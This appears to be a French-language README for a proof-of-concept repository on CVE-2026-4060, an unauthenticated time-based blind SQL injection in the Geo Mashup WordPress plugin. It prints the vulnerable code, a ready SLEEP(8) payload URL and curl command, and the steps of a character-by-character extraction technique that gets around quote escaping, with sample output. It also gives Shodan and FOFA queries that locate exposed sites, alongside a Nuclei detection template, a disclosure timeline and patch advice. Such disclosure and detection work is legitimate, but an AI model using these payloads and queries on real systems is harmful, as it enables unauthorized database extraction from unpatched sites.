
Preuve de concept pour CVE-2026-4060 : injection SQL aveugle basée sur le temps sans authentification dans le plugin WordPress Geo Mashup via la clause ORDER BY. Comprend un script d'exploitation, un environnement de laboratoire et un modèle de détection Nuclei.
Des attaquants non authentifiés peuvent injecter du SQL arbitraire dans la clause
ORDER BYvia le paramètresortdu point de terminaisonrender-mapde Geo Mashup, permettant l'extraction aveugle basée sur le temps d'informations sensibles de la base de données.
Le paramètre sort accepté par le point de terminaison render-map est passé directement dans un appel $wpdb->get_results() sans assainissement :
// render-map.php (simplified)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
"SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);
Comme $sort est interpolé tel quel, un attaquant peut injecter une sous-requête dans la clause ORDER BY. Le wpdb de WordPress échappe les guillemets simples, donc le PoC utilise ORD(SUBSTRING(...)) avec des comparaisons numériques pour contourner cette restriction et effectuer une extraction aveugle basée sur le temps.
Point de terminaison vulnérable :
GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>
┌─────────────────────────────────┐
│ Host (localhost:8080) │
│ │
│ ┌─────────────┐ ┌──────────┐ │
│ │ WordPress │ │ MariaDB │ │
│ │ 6.8.2+PHP82 │──│ 11.4 │ │
│ │ :80 │ │ :3306 │ │
│ └─────────────┘ └──────────┘ │
│ + Geo Mashup 1.13.18 │
└─────────────────────────────────┘
Geo Mashup 1.13.18 actif dans l'admin WordPress :

git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh
setup.sh va :
Une fois terminé :
http://localhost:8080http://localhost:8080/wp-admin (utilisateur : admin / mot de passe : admin)time curl -s -o /dev/null \
"http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
Un délai de réponse d'environ 8 secondes confirme l'injection SQL dans ORDER BY.
# Default — print extracted results only
python3 poc.py --url http://localhost:8080
# Verbose — show each payload, response time, and extracted character
python3 poc.py --url http://localhost:8080 --verbose
# Confirm SQLi only, skip data extraction
python3 poc.py --url http://localhost:8080 --confirm-only
nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080
docker compose down -v
L'injection d'une sous-requête SLEEP(8) via le paramètre sort produit un délai de réponse d'environ 8 secondes.
time curl -s -o /dev/null \
"http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

Le PoC extrait les données caractère par caractère à l'aide de comparaisons ORD(SUBSTRING(...)) : envoyer la charge utile → mesurer le temps de réponse → confirmer le caractère lorsque SLEEP se déclenche.
python3 poc.py --url http://localhost:8080 --verbose

Données extraites :
| Requête | Résultat |
|---|---|
VERSION() | 11.4.10-MariaDB |
DATABASE() | wordpress |
USER() | [email protected] |
[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29
Scan completed in 8.07s. 1 matches found.
Le modèle Nuclei utilise un flux en deux étapes pour éviter les faux positifs.
Si readme.txt renvoie une 404 à l'étape 1, l'analyse se termine immédiatement sans envoyer la charge utile SQL.
Scan completed in 62ms. 0 matches found. ✅
Vérification de la version du plugin via readme.txt :

Si compare_versions(version, '<= 1.13.18') échoue, l'étape 2 est entièrement ignorée.
Scan completed in 19ms. 0 matches found. ✅
| Action | Détail |
|---|---|
| Mise à jour | Mettre à niveau Geo Mashup vers 1.13.19 ou une version ultérieure |
| Temporaire | Désactiver le plugin jusqu'à l'application d'une mise à jour |
Commit de correctif : plugins.trac.wordpress.org/changeset/3503627
Modèle Nuclei : nuclei/CVE-2026-4060.yaml
Flux de détection :
Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
→ confirm plugin exists + version <= 1.13.18
Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
→ status 200 + GeoMashup.createMap + duration >= 8s
Shodan / FOFA :
Shodan: http.html:"geo-mashup"
FOFA: body="geo-mashup"
| Date | Événement |
|---|---|
| 2026-04 | Vulnérabilité découverte |
| 2026-04 | Signalée à l'auteur du plugin |
| 2026-05 | Correctif Geo Mashup 1.13.19 publié |
| 2026-05-14 | CVE attribué et divulgation publique |
Ce dépôt est destiné uniquement à des fins éducatives et de tests de sécurité autorisés.
Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de tester.
L'auteur n'est pas responsable de toute utilisation abusive de ce contenu.
| Champ | Détail |
|---|
| CVE | CVE-2026-4060 |
| Plugin | Geo Mashup par cyberhobo |
| Versions affectées | ≤ 1.13.18 |
| Corrigé dans | 1.13.19 |
| CVSS v3.1 | 7.5 (Élevée) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-89 — Neutralisation inappropriée d'éléments spéciaux utilisés dans une requête SQL |
| Authentification requise | Aucune (non authentifié) |
| Composant | Version |
|---|
| Système d'exploitation | macOS (Darwin 25.4.0) |
| Docker | 27.x |
| WordPress | 6.8.2 (PHP 8.2, Apache) |
| MariaDB | 11.4 |
| Geo Mashup | 1.13.18 (vulnérable) |
| Python | 3.x (pour poc.py) |
| Nuclei | v3.8.0 |
| WAF | Bloquer les modèles d'injection de sous-requêtes dans les clauses ORDER BY |